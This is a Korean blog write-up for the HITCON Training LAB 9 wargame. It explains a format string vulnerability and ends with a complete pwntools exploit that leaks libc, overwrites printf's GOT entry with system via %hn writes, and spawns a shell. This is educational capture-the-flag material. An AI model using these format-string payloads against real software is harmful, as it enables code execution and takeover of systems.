블로그 이전했습니다. https://jeongzero.oopy.io/
[Hicon training] LAB 9
본문 바로가기
워게임/Hitcon training

[Hicon training] LAB 9

728x90

 

1. 문제


1) mitigation 확인 

NX가 걸려있다 

 

 

 

2) 문제 확인 

입력한 문자열을 출력해준다. quit을 입력하면 종료된다 

 

 

 

3) 코드흐름 파악 

main → play → do_fmt 함수가 호출된다. 반복문으로 buf에다가 입력을 받고 'quit'을 입려하지 않은 이상 계속 printf(&buf)를 호출하고 다시 입력을 받는다. 여기서 서식문자가 없으므로 fsb가 터진다 

 

 

 

 

 

2. 접근방법


buf 변수는 스택이 아닌, 전역변수에 들어있는 변수이기 때문에. double staged fsb를 이용해야한다.__libc_start_main 을 leak하여 libc_base를 알아낸뒤, 이를 이용하여 system 함수 주소를 얻는다. 그다음 printf_got를 system함수로 덮은뒤, /bin/sh를 입력하면 printf("/bin/sh") → system("/bin/sh")로 실행될 것이다 

 

시나리오  

  1. __libc_start_main 주소 leak하기

    저 주소가 바로 libc_start_main 주소이다. %15$p를 이용하여 leak한다. 이를 이용하여 libc_base, system 함수 주소를 계산한다. 

     

  1. printf_got 덮기 (0x804a010)

    system함수 주소는 4바이트를 한번에 %n으로 쓰지 못하기 때문에 2바이트 씩 $hn으로 쪼개서 넣어야한다. 따라서 fsb를 이용해서 스택에 printf_got, printf_got+2를 넣는다 

     

  1. system 함수를 printf_got에 덮기

    2번에서 0x804a010에 system함수하위 2바이트, 0x804a012에 상위 2바이트를 넣는다. 정상적으로 들어가면 위 사진처럼 printf_got가 system함수로 덮힌다.  

     

  1. /bin/sh 입력

    /bin/sh를 입력하여 printf를 호출하면  

     

    시스템 함수가 호출된다. 

     

     

     

3. 풀이


최종익스코드는 다음과 같다 

from pwn import *
context.log_level="DEBUG"
p=process("./playfmt")
gdb.attach(p,'code\nb *0x53b+$code\n')


p.recvuntil("=\n")
p.sendline("%15$p%10$p")
p.recvuntil("=\n")
tmp=p.recv(20)
libc_=tmp[0:10]
stack_=tmp[10:20]

libc_start_main=int(libc_,16)
stack_adr=int(stack_,16)
libc_base=libc_start_main-0x018637
system=libc_base+0x03ada0
printf_got=0x804a010
system_low=system&0xffff
system_high=(system>>16)&0xffff

strncmp=0x804A020
payload="%"+str(printf_got)+"c%6$n"+"EE"+"%13$n"

log.info(hex(libc_start_main))
log.info(hex(stack_adr))
p.sendline(payload)
#pause()
p.recvuntil("EE")
payload2="%"+str(system_low)+"c%10$hn"+"%"+str(system_high-system_low)+"c%20$hn"+"CC"
p.sendline(payload2)
#pause()

p.recvuntil("CC")
p.sendline("/bin/sh\x00")
#pause()
p.interactive()

 

 

 

 

4. 몰랐던 개념


몰랐던 개념이라기보단, 처음에 printf_got 값이 int 표현 범위 이내여서 %n으로 값을 쓸수 있는데, 저걸 printf 인자로 주면 계속 루프가 돈다. 따라서 페이로드 + 더미값을 주고, recvuntil로 더미값을 받아야지만 무한루프가 안돈다. 

728x90

'워게임 > Hitcon training' 카테고리의 다른 글

[Hicon training] LAB 11  (0) 2020.04.20
[Hicon training] LAB 10  (0) 2020.04.16
[Hicon training] LAB 8  (0) 2020.04.15
[Hicon training] LAB 7  (0) 2020.04.15
[Hicon training] LAB 6  (0) 2020.04.14